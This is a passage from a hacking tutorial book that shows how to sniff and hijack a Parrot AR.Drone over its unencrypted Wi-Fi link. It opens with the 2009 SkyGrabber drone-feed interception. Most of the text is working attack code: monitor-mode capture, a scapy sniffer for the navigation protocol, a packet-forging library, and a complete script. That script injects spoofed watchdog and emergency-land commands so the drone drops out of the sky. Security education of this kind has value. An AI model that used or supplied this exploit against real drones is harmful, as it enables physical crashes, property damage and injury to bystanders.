Authors: TJ O'Connor
In the summer of 2009, the US Military noticed something interesting in Iraq. As the US fighters collected laptops from insurgent fighters, they discovered the laptops contained stolen video feeds from US aerial drones. The laptops contained hundreds of hours of proof that the drone feeds had been intercepted by insurgent fighters (
Shane, 2009
). After further investigation, intelligence officials discovered that the insurgents used a $26 commercial software package called SkyGrabber to intercept the UAV feeds (
SkyGrabber, 2011
). Much to their surprise, Air Force officials with the UAV program revealed the unmanned aerial crafts sent the video over an unencrypted link to the ground control unit (
McCullagh, 2009
). The SkyGrabber software, commonly used to intercept unencrypted satellite television data, did not even require any reconfiguration to intercept the video feeds from the US unmanned aircrafts.
Attacking a US military drone most definitely violates some aspect of the Patriot Act, so let’s find a less illegal target to take down. The Parrot Ar.Drone UAV proves an excellent target. An open source and Linux-based UAV, the Parrot Ar.Drone allows control via an iPhone/iPod application over unencrypted 802.11 Wi-Fi. Available for under $300, a hobbyist can purchase the UAV from
http://ardrone.parrot.com/
. With the tools we have already learned, we can take flight control over a target UAV.
Let’s first understand how the UAV and iPhone communicate. By placing a wireless adapter in monitor mode, we learn that the UAV and iPhone create an ad-hoc wireless network between each other. After reading the included instructions with the UAV, we learn that MAC filtering proves to be the only security mechanism protecting the connection. Only the paired iPhone can send flight navigation instructions to the UAV. In order to take over the drone, we need to learn the protocol for the instructions and then replay these instructions as necessary.
First, we place our wireless network adapter into monitor mode to observe the traffic. A quick tcpdump shows UDP traffic originating from the UAV
and headed towards the phone on UDP port 5555. After a quick analysis, we can surmise that this traffic contains the UAV video download because of its large size and direction. In contrast, the navigation commands appear to come directly from the iPhone and head to UDP port 5556 on the UAV.
attacker# airmon-ng start wlan0
Interface Chipset Driver
wlan0 Ralink RT2870/3070 rt2800usb - [phy0]
(monitor mode enabled on mon0)
attacker# tcpdump-nn-i mon0
16:03:38.812521 54.0 Mb/s 2437 MHz 11g -59dB signal antenna 1 [bit 14] IP 192.168.1.2.5556 > 192.168.1.1.5556: UDP, length 106
16:03:38.839881 54.0 Mb/s 2437 MHz 11g -57dB signal antenna 1 [bit 14] IP 192.168.1.2.5556 > 192.168.1.1.5556: UDP, length 64
16:03:38.840414 54.0 Mb/s 2437 MHz 11g -53dB signal antenna 1 [bit 14] IP 192.168.1.1.5555 > 192.168.1.2.5555: UDP, length 25824
With the knowledge that the iPhone sends UAV navigation controls to UDP port 5556, we can build a small Python script to parse out navigation traffic. Notice that our script prints the raw contents of UDP traffic with the destination port of 5556.
from scapy.all import ∗
NAVPORT = 5556
def printPkt(pkt):
if pkt.haslayer(UDP) and pkt.getlayer(UDP).dport == NAVPORT:
raw = pkt.sprintf(‘%Raw.load%’)
print raw
conf.iface = ‘mon0’
sniff(prn=printPkt)
Running this script gives us our first glance into the navigation protocol for the UAV. We see that the protocol uses the syntax AT∗
CMD∗
=
SEQUENCE_NUMBER
,VALUE,[VALUE{3}]. By recording traffic over a long period of time, we have learned three simple instructions that will prove valuable to us in our attack and are worth replaying. The command
AT∗REF=$SEQ, 290717696\r
issues a command to land the UAV. Next, the command
AT∗REF=$SEQ,290717952\r
, issues an emergency landing command, immediately cutting off the UAVs engines. The command
AT∗REF=SEQ, 290718208\r
issues a take-off instruction to the UAV. Finally, we can control motion with the command
AT∗PCMD=SEQ, Left_Right_Tilt, Front_Back_Tilt, Vertical_Speed, Angular_Speed
\r. We now know enough about the navigation control to mount an attack.
attacker# python uav-sniff.py
‘AT∗REF=11543,290718208\r’
‘AT∗PCMD=11542,1,-1364309249,988654145,1065353216,0\r’
‘AT∗REF=11543,290718208\r’
‘AT∗PCMD=11544,1,-1358634437,993342234,1065353216,0\rAT∗PCMD=11545,1,-1355121202,998132864,1065353216,0\r’
‘AT∗REF=11546,290718208\r’
<..SNIPPED..>
Let’s begin by creating a Python class named interceptThread. This threaded class has the fields that store information for our attack. These fields contain the current intercepted packet, the specific UAV protocol sequence number, and finally a Boolean to describe if the UAV traffic has been intercepted. After initializing these fields, we will create two methods called run() and interceptPkt(). The run() method starts a sniffer filtered by UDP and port 5556, which triggers the interceptPkt() method. Upon the first interception of the UAV traffic, this method changes the value of the Boolean to true. Next, it will strip the sequence number from the current UAV command and record the current packet.
class interceptThread(threading.Thread):
def __init__(self):
threading.Thread.__init__(self)
self.curPkt = None
self.seq = 0
self.foundUAV = False
def run(self):
sniff(prn=self.interceptPkt, filter=’udp port 5556’)
def interceptPkt(self, pkt):
if self.foundUAV == False:
print ‘[∗] UAV Found.’
self.foundUAV = True
self.curPkt = pkt
raw = pkt.sprintf(‘%Raw.load%’)
try:
self.seq = int(raw.split(‘,’)[0].split(‘=’)[-1]) + 5
except:
self.seq = 0
Next, we have to forge a new packet containing our own UAV commands. However, in order to do this, we need to duplicate some of the necessary information from the current packet or frame. Because this packet contains RadioTap, 802.11, SNAP, LLC, IP, and UDP layers, we need to copy the fields from each of these layers. Scapy has organic support for understanding each of these layers. For example, to look at the Dot11 layer, we start Scapy and issue the ls(Dot11) command. We see the necessary fields we will need to copy and forge in our new packet.
attacker# scapy
Welcome to Scapy (2.1.0)
>>>ls(Dot11)
subtype : BitField = (0)
type : BitEnumField = (0)
proto : BitField = (0)
FCfield :FlagsField = (0)
ID :ShortField = (0)
addr1 : MACField = (‘00:00:00:00:00:00’)
addr2 : Dot11Addr2MACField = (‘00:00:00:00:00:00’)
addr3 : Dot11Addr3MACField = (‘00:00:00:00:00:00’)
SC : Dot11SCField = (0)
addr4 : Dot11Addr4MACField = (‘00:00:00:00:00:00’)
We built an entire library to copy each of the RadioTap, 802.11, SNAP, LLC, IP and UDP layers. Notice that we are leaving out some fields in each layer—for example, we do not copy the IP length field. As our command may contain a different length in size, we can let Scapy automatically calculate this field upon packet creation. The same goes for several of the checksum fields. With this packet-copying library in hand, we can now continue our attack on the UAV. We save this library with the name dup.py since it duplicates most of the fields in an 802.11 Frame.
from scapy.all import ∗
def dupRadio(pkt):
rPkt=pkt.getlayer(RadioTap)
version=rPkt.version
pad=rPkt.pad
present=rPkt.present
notdecoded=rPkt.notdecoded
nPkt = RadioTap(version=version,pad=pad,present=present,notdecoded=notdecoded)
return nPkt
def dupDot11(pkt):
dPkt=pkt.getlayer(Dot11)
subtype=dPkt.subtype
Type=dPkt.type
proto=dPkt.proto
FCfield=dPkt.FCfield
ID=dPkt.ID
addr1=dPkt.addr1
addr2=dPkt.addr2
addr3=dPkt.addr3
SC=dPkt.SC
addr4=dPkt.addr4
nPkt=Dot11(subtype=subtype,type=Type,proto=proto,FCfield=FCfield,ID=ID,addr1=addr1,addr2=addr2,addr3=addr3,SC=SC,addr4=addr4)
return nPkt
def dupSNAP(pkt):
sPkt=pkt.getlayer(SNAP)
oui=sPkt.OUI
code=sPkt.code
nPkt=SNAP(OUI=oui,code=code)
return nPkt
def dupLLC(pkt):
lPkt=pkt.getlayer(LLC)
dsap=lPkt.dsap
ssap=lPkt.ssap
ctrl=lPkt.ctrl
nPkt=LLC(dsap=dsap,ssap=ssap,ctrl=ctrl)
return nPkt
def dupIP(pkt):
iPkt=pkt.getlayer(IP)
version=iPkt.version
tos=iPkt.tos
ID=iPkt.id
flags=iPkt.flags
ttl=iPkt.ttl
proto=iPkt.proto
src=iPkt.src
dst=iPkt.dst
options=iPkt.options
nPkt=IP(version=version,id=ID,tos=tos,flags=flags,ttl=ttl,proto=proto,src=src,dst=dst,options=options)
return nPkt
def dupUDP(pkt):
uPkt=pkt.getlayer(UDP)
sport=uPkt.sport
dport=uPkt.dport
nPkt=UDP(sport=sport,dport=dport)
return nPkt
Next, we will add a new method to our interceptThread class, called injectCmd(). This method duplicates the current packet at each of the layers and then adds the new instruction as the payload of the UDP layer. After creating this new packet, it sends it on to layer 2 via the
sendp()
command.
def injectCmd(self, cmd):
radio = dup.dupRadio(self.curPkt)
dot11 = dup.dupDot11(self.curPkt)
snap = dup.dupSNAP(self.curPkt)
llc = dup.dupLLC(self.curPkt)
ip = dup.dupIP(self.curPkt)
udp = dup.dupUDP(self.curPkt)
raw = Raw(load=cmd)
injectPkt = radio / dot11 / llc / snap / ip / udp / raw
sendp(injectPkt)
The emergency-land command is an important command in order to take control of a UAV. This forces the unmanned aerial vehicle to stop the motors and immediately crash to the ground. In order to issue this command, we will use the current sequence number and jump ahead by 100. Next, we issue the command AT∗COMWDG=$SEQ\r. This command resets the communication watchdog counter to our new sequence counter. The drone will then ignore previous or out-of-sequence commands (like those being issued by the legitimate iPhone). Finally, we can send our emergency landing command
AT∗REF=$SEQ,
290717952
\r.
EMER = “290717952”
def emergencyland(self):
spoofSeq = self.seq + 100
watch = ‘AT∗COMWDG=%i\r’%spoofSeq
toCmd = ‘AT∗REF=%i,%s\r’% (spoofSeq + 1, EMER)
self.injectCmd(watch)
self.injectCmd(toCmd)
Let’s reassemble our code and finalize the attack. First, we need to ensure that we save our packet duplication library as dup.py in order to import it. Next, we need to examine our main function. This function starts the interceptor thread class, listens for traffic to detect a UAV, and then prompts us to issue an emergency landing command. With a Python script of less than 70 lines, we have successfully intercepted an unmanned aerial vehicle. Outstanding! Feeling a little guilty about our activities, in the next section we will focus on how we can identify malicious activities occurring on unencrypted wireless networks.
import threading
import dup
from scapy.all import ∗
conf.iface = ‘mon0’
NAVPORT = 5556
LAND = ‘290717696’
EMER = ‘290717952’
TAKEOFF = ‘290718208’
class interceptThread(threading.Thread):
def __init__(self):
threading.Thread.__init__(self)
self.curPkt = None
self.seq = 0
self.foundUAV = False
def run(self):
sniff(prn=self.interceptPkt, filter=’udp port 5556’)
def interceptPkt(self, pkt):
if self.foundUAV == False:
print ‘[∗] UAV Found.’
self.foundUAV = True
self.curPkt = pkt
raw = pkt.sprintf(‘%Raw.load%’)
try:
self.seq = int(raw.split(‘,’)[0].split(‘=’)[-1]) + 5
except:
self.seq = 0
def injectCmd(self, cmd):
radio = dup.dupRadio(self.curPkt)
dot11 = dup.dupDot11(self.curPkt)
snap = dup.dupSNAP(self.curPkt)
llc = dup.dupLLC(self.curPkt)
ip = dup.dupIP(self.curPkt)
udp = dup.dupUDP(self.curPkt)
raw = Raw(load=cmd)
injectPkt = radio / dot11 / llc / snap / ip / udp / raw
sendp(injectPkt)
def emergencyland(self):
spoofSeq = self.seq + 100
watch = ‘AT∗COMWDG=%i\r’%spoofSeq
toCmd = ‘AT∗REF=%i,%s\r’% (spoofSeq + 1, EMER)
self.injectCmd(watch)
self.injectCmd(toCmd)
def takeoff(self):
spoofSeq = self.seq + 100
watch = ‘AT∗COMWDG=%i\r’%spoofSeq
toCmd = ‘AT∗REF=%i,%s\r’% (spoofSeq + 1, TAKEOFF)
self.injectCmd(watch)
self.injectCmd(toCmd)
def main():
uavIntercept = interceptThread()
uavIntercept.start()
print ‘[∗] Listening for UAV Traffic. Please WAIT...’
while uavIntercept.foundUAV == False:
pass
while True:
tmp = raw_input(‘[-] Press ENTER to Emergency Land UAV.’)
uavIntercept.emergencyland()
if __name__ == ‘__main__’:
main()